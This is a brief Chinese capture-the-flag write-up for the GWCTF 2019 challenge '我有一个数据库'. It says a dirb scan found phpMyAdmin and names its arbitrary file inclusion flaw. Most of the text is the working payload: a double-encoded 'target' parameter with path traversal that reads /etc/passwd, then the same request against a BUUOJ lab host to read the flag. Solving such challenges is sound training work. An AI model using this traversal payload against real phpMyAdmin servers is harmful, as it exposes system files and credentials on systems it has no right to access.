[GWCTF 2019]我有一个数据库

dirb扫描到后台有phpmyadmin目录

存在phpMyadmin后台任意文件包含漏洞

payload:/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../etc/passwd

http://242f8700-d6b8-4323-9254-335081c0e68e.node3.buuoj.cn/phpmyadmin/?target=db_datadict.php%3f/../../../../../../../../flag

 拿到flag

CTF-刷题-WEB